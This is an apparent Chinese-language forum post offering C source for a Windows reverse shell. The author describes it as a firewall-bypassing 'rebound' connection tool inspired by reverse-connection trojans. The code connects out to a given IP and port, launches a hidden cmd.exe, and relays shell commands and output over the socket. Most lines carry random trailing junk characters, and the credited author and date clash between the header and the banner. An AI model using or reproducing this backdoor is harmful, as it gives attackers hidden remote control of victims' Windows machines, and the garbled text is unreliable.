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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1aT$07G0  
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/* ============================== `( a^=e5  
Rebound port in Windows NT U;q)01  
By wind,2006/7 5~"=Fm<uD  
===============================*/  zm.2L  
#include 86I*  
#include hW+Dko(s  
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#pragma comment(lib,"wsock32.lib") x/S%NySG  
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void OutputShell(); HYH!;  
SOCKET sClient; ?3Fo:Z`@F  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4#YklVm  
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void main(int argc,char **argv) DJW1kR  
{ &L?Dogo  
WSADATA stWsaData; &sRJ'oc  
int nRet; \~H"!vj  
SOCKADDR_IN stSaiClient,stSaiServer; d#tUG~jc  
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if(argc != 3) '} kq@  
{ ?hu 9c  
printf("Useage:\n\rRebound DestIP DestPort\n"); O&s6blD11  
return; X>6a@$MxP  
} _# F'rl6'  
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WSAStartup(MAKEWORD(2,2),&stWsaData); qpeK><o  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~GeYB6F  
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stSaiClient.sin_family = AF_INET; t}FMBG o[  
stSaiClient.sin_port = htons(0); +J4t0x  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %dU}GYL_  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N9ufTlq s  
{ y b G)=0  
printf("Bind Socket Failed!\n"); !T{g& f  
return; Z%R%D*f@y  
} )pLq^j  
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stSaiServer.sin_family = AF_INET; W Q&<QVK  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); M Sj0D2H  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _YS+{0 Vq%  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \}=b/FL=U  
{ y {]%,  
printf("Connect Error!"); }sU\6~  
return; KV*:,>  
} 7e<Q{aB  
OutputShell(); I@ k8^  
} Jq#Cn+zW  
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void OutputShell() ;^*!<F%t9R  
{ `Vi:r9|P  
char szBuff[1024]; iPOZ{'Z  
SECURITY_ATTRIBUTES stSecurityAttributes; ka3 Z5  
OSVERSIONINFO stOsversionInfo; lRr-S%  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; KIFx &A  
STARTUPINFO stStartupInfo; ]EnaZWyO]  
char *szShell; w0!,1 Ry  
PROCESS_INFORMATION stProcessInformation; ]t3"0  
unsigned long lBytesRead; 2~DPq p[  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); d/>,U7eS[+  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $hQg+nY.  
stSecurityAttributes.lpSecurityDescriptor = 0; Snu;5:R  
stSecurityAttributes.bInheritHandle = TRUE; sJ/e=1*  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); U08?*{  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i 8Xz  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); RKkI/Z0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yp^*TD/J  
stStartupInfo.wShowWindow = SW_HIDE; `W n5 .V  
stStartupInfo.hStdInput = hReadPipe; BfT,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Zg&\K~OC  
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GetVersionEx(&stOsversionInfo); Dj+Osh  
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switch(stOsversionInfo.dwPlatformId) Wt fOE@h  
{ jPNfLwVkl:  
case 1: N08n/u&cr,  
szShell = "command.com"; 8$kXC+  
break; fNPj8\#V,  
default: 3{:<z 4>{  
szShell = "cmd.exe"; &;U7/?Q  
break; ~UC/|t$  
} Ch9!AUiR  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O)uM&B=  
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send(sClient,szMsg,77,0); xPup?oP >  
while(1) !<zzP LC  
{ '5/}MMT  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d J:x1j  
if(lBytesRead) Zw][c7%  
{ x,gE$dNzy  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); u^zitW!X$  
send(sClient,szBuff,lBytesRead,0); "q^'5p]  
} &vX!7 Y  
else [=6~"!P}  
{ y32++b!  
lBytesRead=recv(sClient,szBuff,1024,0); MW~B[%/  
if(lBytesRead<=0) break; y!N)@y4  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ai jGz<  
} LIC~Kehi  
} Cw&D}  
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return; n E}<e:  
}
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